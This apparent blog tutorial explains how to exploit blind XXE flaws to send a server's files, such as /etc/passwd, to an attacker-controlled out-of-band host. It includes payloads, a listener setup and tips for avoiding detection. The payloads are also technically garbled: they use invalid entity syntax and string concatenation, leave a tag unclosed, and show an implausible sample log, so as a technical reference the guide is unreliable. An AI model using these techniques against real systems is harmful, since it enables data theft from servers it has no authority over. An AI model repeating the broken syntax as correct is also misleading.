XXE: Data Exfiltration via OOB

TL;DR

This guide explains how to exploit Blind XXE vulnerabilities to extract data from a server using Out-of-Band (OOB) requests. We’ll cover identifying the vulnerability, crafting payloads for different scenarios, and receiving the exfiltrated data.

What is Blind XXE?

Blind XXE occurs when an XML parser processes user-supplied XML but doesn’t directly return error messages or the parsed content. You can still determine if your XML is being processed by observing side effects, like triggering external requests.

Prerequisites

• A vulnerable application accepting XML input.
• Access to a server you control that can receive HTTP(S) requests (for OOB).
• Basic understanding of XML structure.

Step 1: Identify the Vulnerability

Send a simple XXE payload to see if the parser is active. A basic test looks like this:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<entity xxe="SYSTEM 'file:///etc/passwd'">]>
<foo>&xxe;

If the application doesn’t return the contents of /etc/passwd directly, it’s likely a Blind XXE. Look for any changes in behaviour or error messages (even indirect ones).

Step 2: Setting up Your OOB Server

You need a server to receive data sent by the vulnerable application. A simple HTTP(S) server will do.

• Using Python:

python3 -m http.server 8080

This starts a basic web server on port 8080, logging requests to the console.

Step 3: Crafting OOB Payloads

The goal is to make the XML parser initiate an HTTP(S) request to your controlled server when it processes the malicious XML. Here are some common techniques:

a) Using External Entities with HTTP Requests

This method uses external entities to define a URL that the parser will attempt to resolve.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<entity xxe="SYSTEM 'http://your-oob-server/data?value=' + "&#x26;system;">>
<foo>&xxe;

Replace your-oob-server with the address of your server. The parser will attempt to connect to this URL, sending data in the request.

b) Using External Entities with File URLs (if allowed)

If file URLs are permitted, you can try reading local files and exfiltrating them via OOB:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<entity xxe="SYSTEM 'http://your-oob-server/data?value=' + file:///etc/passwd'">]>
<foo>&xxe;

Again, replace your-oob-server with your server address.

Step 4: Exfiltrating Data

1. Send the crafted payload to the vulnerable application.
2. Monitor your OOB server’s logs for incoming requests.
3. The data you requested will be present in the request parameters (e.g., in the value parameter).

Example: If using the HTTP payload above, your server logs might show a request like:

127.0.0.1 - - [date] "GET /data?value=SYSTEM 'file:///etc/passwd' HTTP/1.1" 200 -

Step 5: Dealing with Encoding Issues

Sometimes, the XML parser might encode characters in a way that breaks your payload. Try these solutions:

• Double Encoding: Encode special characters twice (e.g., & for &).
• Using Different Character Encodings: Experiment with different encodings in the XML declaration (e.g., UTF-8, ISO-8859-1).

Step 6: Automating Data Exfiltration

For larger files or more complex data structures, you can automate the exfiltration process using a script to send multiple requests with different offsets or chunks of data.

Important Considerations for cyber security

• Firewalls and Network Restrictions: Ensure your OOB server is accessible from the vulnerable application’s network.
• Rate Limiting: Be mindful of rate limiting on both the vulnerable application and your OOB server to avoid detection.
• Error Handling: Implement robust error handling in your payloads to gracefully handle failures.